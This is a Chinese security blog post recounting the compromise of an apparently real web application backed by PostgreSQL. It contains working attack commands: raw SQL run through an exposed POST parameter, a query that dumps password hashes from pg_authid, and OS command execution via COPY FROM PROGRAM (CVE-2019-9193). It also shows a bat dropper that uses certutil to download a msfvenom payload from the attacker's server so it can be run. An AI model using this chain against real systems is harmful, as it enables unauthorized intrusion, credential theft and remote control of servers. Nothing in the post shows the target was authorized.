记一次pgsql数据库漏洞利用

admin 2023年8月5日20:12:09评论11 views字数 2536阅读8分27秒阅读模式


0x01 前言

mysql遇得比较多,postgresql还没怎么遇到过,过程算是一波三折,但好歹积累到了经验,主要记录下利用时的心路历程。

0x02 注入点

先nmap扫描目标端口,得到一个开放了http服务的端口,访问之,账号密码自动填充了,点击登录就可以直接进入后台

记一次pgsql数据库漏洞利用


找功能点,抓包,好家伙,直接把sql语句明文放在post参数里面了,心是真的大

记一次pgsql数据库漏洞利用


看了下网站架构,vue+java,猜测数据库很有可能是mysql,那就试试能不能直接运行sql语句
select * from information_schema.SCHEMATA

记一次pgsql数据库漏洞利用


成功执行,而且仔细看获取到的数据库字段,可以明显看到postgres字样,猜测是postgresql数据库,果然,用mysql的concat函数测试一下,api报错了,可以大概肯定是pgsql数据库。
知道是pgsql数据库就好办了,因为没记错的话pgsql ≥ 9.3版本是存在一大堆漏洞的,但我们不急,先一步一步来。


  • 获取pgsql安装目录(判断pqsql版本、系统版本)
    select setting from pg_settings where name = 'data_directory';

    记一次pgsql数据库漏洞利用


  • 获取当前用户
    select user

    记一次pgsql数据库漏洞利用


  • 查询用户密码(md5加密)
    SELECT rolname,rolpassword FROM pg_authid;

    记一次pgsql数据库漏洞利用


  • 系统命令执行(CVE-2019-9193)
    DROP TABLE IF EXISTS cmd_exec;
    CREATE TABLE cmd_exec(cmd_output text);
    COPY cmd_exec FROM PROGRAM 'whoami';
    SELECT * FROM cmd_exec;

    记一次pgsql数据库漏洞利用

0x03 一波三折

现在可以直接执行命令了,不就可以直接写shell,连shell一条龙了吗?然而事实上并非如此简单,因为不知道是不是dos编码的原因,执行的命令如果回显含有中文会导致pgsql报错进而导致无法把执行结果保存进数据库。比如我这里执行certutil,报错结果如下:

记一次pgsql数据库漏洞利用


执行dir c:也会报错:

记一次pgsql数据库漏洞利用


比较奇怪的是,执行systeminfo命令却又可以成功执行并且执行结果中的中文也能正常显示。从系统信息中看到该服务器是中文系统,可是有的命令执行结果是英文,有的执行后又是中文,属实是整不会了。

记一次pgsql数据库漏洞利用


因为知道dos默认编码是gbk,于是我先用chcp 65001命令将dos编码改为utf-8编码,然后执行回显有中文的其他命令。结果失败了。

记一次pgsql数据库漏洞利用


后来我在自己电脑上测试的时候突然醒悟,chcp命令只能改变当前终端进程的编码,关掉再新开一个cmd窗口编码仍然是默认的936 gbk编码,同理,虽然我通过chcp命令改变了编码,但是再重新执行其他命令的时候pgsql也会新建一个子进程,而这个子进程仍然是gbk编码。所以正确的打开方式应该是在需要执行的命令前加一句chcp 65001,比如chcp 65001 & certutil,一想到这里自觉真是聪明,然而现实分分钟打脸:

记一次pgsql数据库漏洞利用


既然直接certutil不行,那就先dir老老实实找网站目录吧。
这里我猜测网站也部署在D盘,并尝试用 
..\来向上读取目录,进而定位到该网站的绝对路径,但是到第三层父目录的时候报错了

记一次pgsql数据库漏洞利用


这就很尴尬了,因为dir到第二层的时候还在pgsql的安装目录下,第三层还没有到D盘根目录呢继续向上读取,仍然是同样的报错。这里猜测是遇到权限问题了。
直接dir父目录不行,那就再换。想到dir命令还可以用来查找文件,而且网站也有不少静态图片文件,除非当前站点在内网的其他服务器上,否则用dir也能根据图片文件名找到其绝对路径的,直接试试。

记一次pgsql数据库漏洞利用


 

记一次pgsql数据库漏洞利用

记一次pgsql数据库漏洞利用


成功了但没完全成功,因为Windows系统下虽然用斜杠和反斜杠表示路径都可以,但是默认是反斜杠,结果数据入库的时候反斜杠可能是被当作转义字符过滤掉了,导致最终路径符号没有显示出来。
于是又开始用dir猜测路径是否存在(这里被路径卡了半天,因为我笃定就是
d:applicationsa-web,然而尝试了很多次一直报错,直到最后改成d:applicationsa-web才成功,不得不吐槽运维的脑回路),最后把web目录基本爬完了。

记一次pgsql数据库漏洞利用


看到jar的时候才恍悟,这是个Nginx+Jar包部署的项目啊,前后端分离的,写webshell完全没意义啊。

0x04 柳暗花明

整理下思路,某些含中文回显的命令不能用,dir找到了web目录,但是前后端分离。休息放松一下,突然有了另外的思路,可以传bat上去啊,只需要隐藏掉所有命令的回显就不会有数据入库时的编码问题了,而且先前用tasklist看到服务器上没有杀软,就更简单不少。
说干就干,先在vps上用msfvenom生成一个exe马,改后缀名为txt,用python起一个http服务,把txt文件放到指定目录,确保可以被目标访问到。
然后着手准备bat脚本,查了下资料,可以用@echo off隐藏执行的命令,再用 >null将输出重定向到null就可以实现完全无回显了,如下图

记一次pgsql数据库漏洞利用


在本机上测试了一下,成功,无回显执行。

记一次pgsql数据库漏洞利用


于是立即用echo命令将payload写到目标上先生成bat文件

COPY cmd FROM PROGRAM 'echo @echo offncertutil.exe -urlcache -split -f http://xx.xxx.xxxx/xxx.txt output.txt ^>null >test.bat'

记一次pgsql数据库漏洞利用


看样子是执行成功了,用dir命令看看,成功写入了

记一次pgsql数据库漏洞利用


再type看了下bat文件的内容,确认没问题后执行.test.bat,看到文件大小符合

记一次pgsql数据库漏洞利用


就再使用ren命令把txt后缀改为exe后缀

记一次pgsql数据库漏洞利用


最后成功上线

记一次pgsql数据库漏洞利用


看一眼时间,天色渐晚了,吃个夜宵睡觉,明天再来想提权的事儿吧。

0x05 后话

看到系统是2012 R2的时候立即就想到用powershell上线了,然后系统似乎没安装powershell组件,因为执行后一直超时也没有shell反弹就果断放弃了。
感觉学安全还是要潜下心才能真正学到东西。

转载于https://xz.aliyun.com/t/10202

更多技术文章请关注公众号:猪猪谈安全

记一次pgsql数据库漏洞利用

师傅们点赞、转发、在看就是最大的支持

原文始发于微信公众号(猪猪谈安全):记一次pgsql数据库漏洞利用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月5日20:12:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次pgsql数据库漏洞利用https://cn-sec.com/archives/586412.html

发表评论

匿名网友 填写信息